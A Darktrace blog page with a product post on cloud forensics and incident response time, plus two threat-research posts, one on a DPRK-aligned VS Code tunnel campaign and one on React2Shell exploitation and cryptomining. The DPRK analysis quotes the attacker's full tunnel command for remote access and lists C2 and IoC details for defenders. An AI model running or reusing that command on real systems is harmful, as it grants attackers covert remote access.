Blog
/
Cloud
/
March 6, 2025

From Containment to Remediation: Darktrace / CLOUD & Cado Reducing MTTR

Darktrace / CLOUD combines with Cado’s automated forensics capture to achieve rapid containment and deep investigative capabilities. Learn more about accelerating MTTR here.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Stevens
Senior Director of Product, Cloud | Darktrace
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
06
Mar 2025

Cloud environments operate at speed, with workloads spinning up and down in seconds. This agility is great for business and is one of the main reasons for cloud adoption. But this same agility and speed presents new challenges for security teams. When a threat emerges, every second counts—yet many organizations struggle with slow Mean Time to Respond (MTTR) due to operational bottlenecks, outdated tooling, and the complexity of modern cloud infrastructure.

To minimize disruption and potential damage, containment is a critical step in incident response. By effectively responding to contain a threat, organizations can help prevent lateral movement limiting an attack’s impact.

However, containment is not the end goal. Full remediation requires a deep understanding of exactly what happened, how far the threat spread, and what assets were involved and what changes may be needed to prevent it from happening again.

This is why Darktrace’s recent acquisition of Cado is so exciting. Darktrace / CLOUD provides real-time threat detection and automated cloud native response for containment. With Cado, Darktrace / CLOUD ensures security teams have the forensic insights that are required to fully remediate and strengthen their defenses.

Why do organizations struggle with MTTR in the cloud?

Many security teams experience delays in fully responding to cloud threats due to several key challenges:

1. Limited access to cloud resources

Security teams often don’t have direct access to cloud environments because often infrastructure is managed by a separate operations team—or even an outsourced provider. When a threat is detected, analysts must submit access requests or escalate to another team, slowing down investigations.

This delay can be particularly costly in cloud environments where attacks unfold rapidly. Without immediate access to affected resources, the time to contain, investigate, and remediate an incident can increase significantly.

2. The cloud’s ephemeral nature

Cloud workloads are often dynamic and short-lived. Serverless functions, containers, and auto-scaling resources can exist for minutes or even seconds. If a security event occurs in one of these ephemeral resources and it disappears before forensic data is captured, understanding the full scope of the attack becomes nearly impossible.

Traditional forensic methods, which rely on static endpoints, fail in these environments—leaving security teams blind to what happened.

3. Containment is critical, but businesses require more

Automated cloud native response for containment is essential for stopping an attack in progress. However, regulatory frameworks underline the need for a full understanding to prove the extent of an incident and determine the root cause, this goes beyond just containing a threat.

Digital Operational Resilience Act (DORA): [1] Enacted by the European Union, DORA requires financial entities to establish robust incident reporting mechanisms. Organizations must detect, manage, and notify authorities of significant ICT-related incidents, ensuring a comprehensive understanding of each event's impact. This includes detailed analysis and documentation to enhance operational resilience and compliance.

Network and Information Security Directive 2 (NIS2): [2]This EU directive imposes advanced reporting obligations on essential and important entities, requiring them to report significant cybersecurity incidents to relevant authorities. Organizations must conduct thorough post-incident analysis to understand the incident's scope and prevent future occurrences.

Forensic analysis plays a critical role in full remediation, particularly when organizations need to:

  • Conduct post-incident investigations for compliance and reporting.
  • Identify affected data and impacted users.
  • Understand attacker behavior to prevent repeat incidents.

Without a clear forensic understanding, security teams are at risk of incomplete remediation, potentially leaving gaps that adversaries can exploit in a future attack.

How Darktrace / CLOUD & Cado reduce MTTR and enable full remediation

By combining Darktrace / CLOUD’s AI-driven platform with Cado’s automated forensics capture, organizations can achieve rapid containment and deep investigative capabilities, accelerating MTTR metrics while ensuring full remediation in complex cloud environments.

Darktrace / CLOUD: Context-aware anomaly detection & cloud native response

Darktrace / CLOUD provides deep visibility into hybrid cloud environments, by understanding the relationships between assets, identity behaviours, combined with misconfiguration data and runtime anomaly activity. Enabling customers to:

  • Detect and contain anomalous activity before threats escalate.
  • Understand how cloud identities, permissions, and configurations contribute to organizational risk.
  • Provide visibility into deployed cloud assets and services logically grouped into architectures.

Even in containerized services like AWS Fargate, where traditional endpoint security tools often struggle due to the lack of persistent accessible infrastructure, Darktrace / CLOUD monitors for anomalous behavior. If a threat is detected, security teams can launch a Cado forensic investigation from the Darktrace platform, ensuring rapid evidence collection and deeper analysis.

Ensuring:

  • Complete timeline reconstruction to understand the full impact.
  • Identification of persistence mechanisms that attackers may have left behind.
  • Forensic data preservation to meet compliance mandates like DORA, NIS2, and ISO 27001.

The outcome: Faster, smarter incident response

Darktrace / CLOUD with Cado enables organizations to detect, contain and forensically analyse activity across hybrid cloud environments

  • Reduce MTTR by automating containment and enabling forensic analysis.
  • Seamlessly pivot to a forensic investigation when needed—right from the Darktrace platform.
  • Ensure full remediation with deep forensic insights—even in ephemeral environments.

Stopping an attack is only the first step—understanding its impact is what prevents it from happening again. Together, Darktrace / CLOUD and Cado empower security teams to investigate, respond, and remediate cloud threats with speed and confidence.

References

[1] eiopa.europa.eu

[2] https://zcybersecurity.com/eu-nis2-requirements

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Stevens
Senior Director of Product, Cloud | Darktrace

More in this series

No items found.

Blog

/

Network

/

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

Cloud

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI